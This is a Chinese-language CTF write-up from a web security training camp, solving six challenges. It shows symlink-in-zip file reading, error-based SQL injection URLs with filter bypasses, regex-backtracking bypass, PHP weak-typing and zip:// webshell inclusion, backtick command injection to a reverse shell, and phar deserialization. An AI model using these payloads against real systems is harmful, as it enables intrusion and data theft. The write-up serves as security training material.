Background

暑假报了这个安恒web暑假班的闯关班,想看一下自己到底可不可以,逼自己别做懒狗,也是想和赵总学一点新的知识,很幸运,最后成为两位闯关成功当中的一员,暑假的final题很不错,来写一篇writeup

Admin

题目难度:简单
知识点:弱口令/软连接
0252A684-7C16-4EB6-A618-2D7E849D33A9.png
首先看到登录框肯定想到的是弱口令/万能密码,如果都不是,看看注释有没有其他提示
移动web题.png
登录成功的管理员界面是一个上传页面
提示是上传一个压缩包,然后给出了flag路径
猜测他应该是将压缩包进行解压读取信息,我尝试写了一个 cat/flag 的文档,然后将它压缩传入
6E35CAD6-56C5-4EB5-9107-AC0E5306D5EB.png
可以看到他成功读入
那我们的思路很明确,利用软连接将flag进行路径进行索引,将它压缩,在网站解压时进行读取
思路明确构造即可
ln -s /etc/flag t4rn
zip -y 1.zip t4rn
上传1.zip
get flag
flag.png

Wrong sql

题目难度:
知识点:爆错注入,常见的过滤绕过
123.png
提示注册,先注册一个账号
456.png
发现有个show
打开一看 注入点有了
789.png
然后就是用burp进行简单的fuzz
ban掉空格->括号嵌套/内联注释
ban掉注释符(# --+)->自己单引号闭合
ban掉select小写1——>大写
ban掉updatexml->extarctvalue
因为报错注入限制只能读取32位,所以要用substr字符串截取
payload如下
获取数据库信息

http://das.wetolink.com:44004/show.php?id=1%27and(extractvalue(1,concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata)),0x7e)))and%271

http://das.wetolink.com:44004/show.php?id=1%27and(extractvalue(1,concat(0x7e,substr((select(group_concat(schema_name))from(information_schema.schemata)),50),0x7e)))and%271

获取表

http://das.wetolink.com:44004/show.php?id=1%27and(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=%27z3333333%27),0x7e)))and%271

获取字段

http://das.wetolink.com:44004/show.php?id=1%27and(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)=%273333333z%27),0x7e)))and%271

获取flag(两次拼凑)
http://das.wetolink.com:44004/show.php?id=1%27and(extractvalue(1,concat(0x7e,(select(fl4gbest)from(z3333333.3333333z)),0x7e)))and%271
AfTtpd416AnPckjt__thumbnail.png

http://das.wetolink.com:44004/show.php?id=1%27and(extractvalue(1,concat(0x7e,substr((select(fl4gbest)from(z3333333.3333333z)),10),0x7e)))and%271
sVvQYf6h8fJMLCVR__thumbnail.png

Ez sql

题目难度:一般
知识点:文件包含,正则回溯
首先注意到url有包含位点

http://das.wetolink.com:44006/file.php?file=php://filter/read=convert.base64-encode/resource=list

直接包含主页
取出关键代码

 <p class="lead">        
        <?php include("sql.php")?>
        </p>
      </div>

包含sql.php

<?php
error_reporting(0);
include("config.php");
$id=isset($_POST['id']) ? $_POST['id'] : 1;
if(preg_match('/UNION.+?SELECT|\/\*.*\*\/|sleep|and|if|&&|\|\||\^|%|ascii|mid|left|greatest|least|substr|=|-|<|>|benchmark|like|in|between|regexp/is', $id)) {
    die('SQL Injection');
}
mysqli_query($conn,"set names utf8");
$sql="select * from `ctf` where id ='".$id."'";
$result=mysqli_query($conn,$sql);
$row=mysqli_fetch_row($result);
if($id==1)
{
    echo "<img src='./img/1.png'><br>";
}
else if($id==2)
{
    echo"<img src='./img/2.jpg'><br>";
}
else if($id==3)
{
    echo"<img src='./img/3.jpg'><br>";
}
else
{
    echo "what do you do?";
}
echo "  <p class=\"lead\">   
        {$row[1]}     
        </p>
        <p class=\"lead\">   
        {$row[2]}     
        </p>
     "
?>

经典的正则回溯,参考学习链接:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
然后就是常规注入步骤
test.png

彩票中心

题目难度:较难
知识点:php弱类型,文件包含
首先注册过后给你20块
1232.png
买彩票搏一搏能拿到hint的钱或者是flag的钱
随便输入七位数字在那里抓包
彩票002.png
可以看到是以json格式上传的
猜测这里可能存在弱类型比较的问题,如果number传入数组的话,可能会造成弱类型比较
我写一小demo测试一下
彩票003.png
彩票004.png
可以看到是可以的
我写的是
{"action":"buy","numbers":[true,true,true,true,true,true,true]}
赵总的方法是
{"action":"buy","numbers":{"1":true,"2":true,"3":true,"4":true,"5":true,"6":true,"7":true}}
差不多,不出现0就能中奖
我手动发包
彩票005.png
这里的钱不能达到买flag,规定只能买hint
但是买hint这里的js有点小问题
彩票006.png
那就在控制台里手工发包

$.ajax({
      method: "POST",
      url: "api.php",
      dataType: "json",
      contentType: "application/json", 
      data: JSON.stringify({ action: "hint" })
    }).done(function(resp){
        
    })

给出了管理员的账号密码
111.png
登录一下试试
发现多了个上传功能
1.png
fuzz了一下发现只能上传docx
这里面关键的点就在这里
docx的本质是压缩文件
dasas.png
解压可以得到这些文件,那么思路来了,php中伪协议zip://,如果我们能找到一个包含位点(这里面有一个page),然后通过zip伪协议解压出来我们隐藏在docx里面的一句话,就可以get flag了
按照思路进行
1111.png
压缩一下
goo.png
上传,直接按照伪协议读取
1.png
然后就是直接查flag即可

Sshop

题目难度:较难
知识点:源码泄漏,代码审计,命令执行
首先www.zip
下载源码下来看看
审计发现关键点
1.png
这里可能存在命令执行,用了高危的os.popen
就想办法控制一下用户头像地址。在头像上传处 sshop/views/Module.py 可以控制
2.png
可以看到这里同时过滤了很多东西,这里面发现没有过滤反引号,linux下的反引号可以进行命令执行
1.png
那我们的思路就是反弹个shell,先上传一个图片,里面含有bash命令,然后bash调用那个文件反弹 shell 试试。
上传a.png
1.png
然后我们看一下他上传的目录,分析一下代码
test.png
那我们再上传一个如下的就可以了
abash sshop/views/upload/a.png.png
11111.png
然后拿到shell cat flag

111.png

UploadAvatar

难度:较难
知识点:phar反序列化,代码审计,变量覆盖
2.png
简单进行代码审计,找到flag的核心是

if($res['username']===$this->username && $res['password']===md5($this->password)){
            include 'flag.php';

这段代码,当用户名的账号密码和数据库中的一样,就可以成功包含进来flag.php
这里漏洞利用的关键点有两个
首先,我们可以发现,他这个原本是要运行在沙箱里

parse_str(@$_SERVER['QUERY_STRING']);
$sandBox = $_SERVER['REMOTE_ADDR'];

但是有parse_str可以进行变量覆盖
其次是

if(!file_exists($sandBox.'/pic.jpg')){
            echo '<h1>赶紧给自己传一个屌炸天的头像啊!!</h1>';
        }else{
            echo "<img src='".$sandBox.'/pic.jpg'."'/>";
        }

这里面用了文件操作函数,可以进行phar反序列化,然后代码给出了个上传位点
那么攻击路径如下:攻击路径已经明晰,通过文件上传点上传一个 phar 文件,然后通过文件操作函数 file_exist 的可控参数触发 phar进行反序列化,反序列化 User 类时会触发 __wakeup,通过控制其属性让其连接到我们自己搭建的数据库读取到我们自己放进去的数据,比对通过拿到 flag。
首先用docker创建一个mysql服务器

docker run —name mysql5.7 -e MYSQL_ROOT_PASSWORD=123456 -p 3306:3306 -d mysql:5.7

docker exec -it 容器  bash
mysql -u root -p
create database ctf;
use ctf;
create table user(
 id int(11) primary key auto_increment,
 username varchar(256),
 password varchar(256)
);
insert into user values(1,'admin',md5('12345678'));

god.png
然后就是写phar文件
phar.png
将action调至profile模式
然后auth查看一下沙箱地址
111.png
2333.png
如上构造即可get flag

Final

我的安恒暑期班就此结束了,认识了一些很棒的人,然后自己也变得强了一些了,希望明年安恒实习能再见